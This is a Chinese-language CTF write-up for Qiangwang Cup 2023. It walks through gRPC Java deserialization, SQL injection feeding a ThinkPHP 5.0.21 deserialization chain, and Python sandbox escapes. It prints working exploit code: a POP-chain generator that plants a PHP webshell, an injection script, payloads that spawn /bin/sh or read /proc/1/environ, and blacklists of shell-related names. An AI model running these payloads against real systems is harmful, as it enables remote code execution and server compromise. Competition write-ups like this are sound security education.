目录

强网杯 2023 线上赛部分 Writeup

Web

happygame

题目创建环境之后给了 IP 端口,无法直接访问,通过 nc 测试可以发现是 grpc 服务。能连接 grpc 的工具很多,grpcui 比较方便调试。连接后可以在弹出的 web 页面里和 grpc 服务交互。

grpcui.exe --plaintext IP:Port

./assets/Untitled.png

可以看到 Method name 里面有 ProcessMsg 方法,参数名猜测为反序列化

./assets/123.png

grpc 大概率不是 PHP 写的,go 很难利用反序列化漏洞,比较合理的是打 Java 反序列化。用老学长的 yakit 一把梭(先用 DNS 探测 gadget,确认 CC K1 链可用,反弹 shell )

./assets/1111.png

thinkshop

题目附件是 docker 导出的环境,docker load 导入后挂载源码到宿主机方便调试

框架用的是 Thinkphp 5.0.21,现有 RCE 的洞打不通,后续发现是过滤了 controller 解析里面的 \ ,相当于是修复了

看看数据库,cmd5 查一下密码是 123456,但是使用 admin / 123456 登录失败,看下源码

1
INSERT INTO admin VALUES (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

find 应该传 kv 键值对进去,但是直接把文本类型的 $username 传进去了,所以默认查主键 id$username 是通过 input('post.username') 获取的,默认是字符串,(大概?)不能在 post 的时候使用 username[k]=v 。使用 1 / 123456 登录后台

./assets/image-20231217222329428.png

admin 可以修改商品信息,在编辑商品时可以 sql 注入。添加商品限制了 key 不能注入。虽然 hex 了 value, 但是可以用 key 打注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function do_edit()
{
    if(!session('?admin'))
    {
        $this->error('请先登录','index/admin/login');
    }
    $goodsModel = new Goods();
    $data = input('post.');
    var_dump($data);
    $result = $goodsModel->saveGoods($data);
    if ($result) {
        $this->success('商品信息更新成功', 'index/index/index');
    } else {
        $this->error('商品信息更新失败');
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public function updatedata($data, $table, $id){

    if (!$this->connect()) {
        die('Error');
    } else {
        $sql = "UPDATE $table SET ";
        foreach ($data as $key => $value) {
            $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
        }

        $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
        return mysqli_query($this->connect(), $sql);
        
   }
}

view 中 goods.html 会反序列化 goods 的 data 字段,思路时注入写入 exp,访问 goods.html 查看商品触发反序列化

1
2
3
4
5
<div class="col-md-6">
    <h2>价格:{$goods.price}</h2>
    <h2>上架时间:{$goods.on_sale_time}</h2>
    <h2>商品信息:{php}use app\index\model\Goods;$view=new Goods();echo $view->arrayToHtml(unserialize(base64_decode($goods['data'])));{/php}</h2>
</div>

源码对反序列化的 obj 有限制。限制开头为 a:1 ,必须为 array ,相当于没限制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public function getGoodsById($id)
{
    $select = new Select();
    $data = $select->select('goods', 'id', $id);
    if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
        {
            $this->error("数据错误" , 'index/admin/goods_edit');
        }
    return $data;
}

用现有的 Tp 5.0.21 的链子本地可以打通,把最后的对象放到 array 里可以绕过限制

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php

namespace think\process\pipes;

use think\model\Pivot;

class Pipes
{

}

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;
#Relation
use think\db\Query;

abstract class Relation
{
    protected $selfRelation;
    protected $query;

    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}

namespace think\model\relation;
#OneToOne HasOne
use think\model\Relation;

abstract class OneToOne extends Relation
{
    function __construct()
    {
        parent::__construct();
    }

}

class HasOne extends OneToOne
{
    protected $bindAttr = [];

    function __construct()
    {
        parent::__construct();
        $this->bindAttr = ["no", "123"];
    }
}

namespace think\console;
#Output
use think\session\driver\Memcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();//目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think;
#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;

abstract class Model
{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct()
    {
        $this->parent = new Output();#Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation子类,且有getBindAttr()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();

    }
}

namespace think\db;
#Query
use think\console\Output;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\session\driver;
#Memcached
use think\cache\driver\File;

class Memcached
{
    protected $handler = null;

    function __construct()
    {
        $this->handler = new File();//目的调用File->set()
    }
}

namespace think\cache\driver;
#File
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{


}


use think\process\pipes\Windows;

echo base64_encode(serialize([new Windows()]));

注入脚本如下,因为 PHP 会把 post 数据中的 key 的空格替换为下划线,相当于不能有空格,使用 /**/ 绕过即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://eci-xxx.cloudeci1.ichunqiu.com/public/index.php/index/admin/do_edit.html'

cookies = {
    'PHPSESSID': 'xxx'
}

exp = "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"

data = {
    'id': '1',
    'name': '1',
    'price': '1.00',
    'on_sale_time': '2023-12-16T21:20',
    'image': '$sql',
    f"data`='{exp}'/**/WHERE/**/`id`/**/=/**/1;#": '123',
    'data': '1'
}

r = requests.post(url, cookies=cookies, data=data)

print(r.text)

注入到 data 字段,访问商品页面触发反序列化,在 /public 目录下生成 shell,远程可以打通

./assets/image-20231217224005385.png

./assets/image-20231217224045932.png

thinkshopping

来不及看了,应该是 thinkshop 的 revenge。去掉了管理员账号和反序列化。application/index/model/Goods.php 中的 Goods 类直接继承 Controller 感觉是题目入口点。

后续看 wp 发现是 memcached 注入

MISC

Pyjail ! It’s myFILTER !!!

{"a"}' + print(open('/proc/1/environ').read()) #

Pyjail ! It’s myRevenge !!!

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import code, os, subprocess


def blacklist_fun_callback(*args):
    print("Player! It's already banned!")


os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            print(x)
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(
        input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
    print(input_code)
else:
    print("Player! Please obey the filter rules which I set!")

第一步清除 blacklist,然后用 input 读入继续打

1
2
3
{[list(globals().values())[-2].clear(),"{i""nput()}"][1]}
{[globals()["__builtins__"].exec("import os"),"{i""nput()}"][1]}
{[os.spawnv(0, "/bin/sh", ["sh"]),"{i""nput()}"][1]}

Pyjail ! It’s myAST !!!!

题目源码,远程环境为 python 3.11

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance,
}


def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      print(x)
      return False

  return True


if __name__ == "__main__":
  user_input = input("Can u input your code to escape > ")

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})

python 3.10 开始引入了 match 关键字,可以用 match 获取对象属性,用 unicode 绕过下划线检测,用 bytes 转字符串和 len 构造数字绕过 ast 中的禁止常量,使用海象运算符绕过赋值,减小 payload 长度,虽然 1800 够用了 (

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def s(b):
    match bytes([b]):
        case bytes(decode=func):
            return func()
while o := len([min]):
    while t := len([min, min]):
        while th := len([min, min, min]):
            while fo := len([min, min, min, min]):
                while ten := len([min, min, min, min, min, min, min, min, min, min]):
                    match str():
                        case object(_class_=clazz):
                            match clazz:
                                case object(_bases_=bases):
                                    match bases:
                                        case object(_getitem_=gb):
                                            match gb(len([])):
                                                case object(_subclasses_=subclasses):
                                                    match subclasses():
                                                        case object(_getitem_=g2):
                                                            match g2(ten * ten + t*t):
                                                                case object(load_module=lm):
                                                                    match lm(s(ten*(ten+o)+o)+s(ten*(ten+o)+fo+o)):
                                                                        case object(system=sys):
                                                                            sys(s(ten*(ten+o)+fo+o)+s(ten*ten+t*t))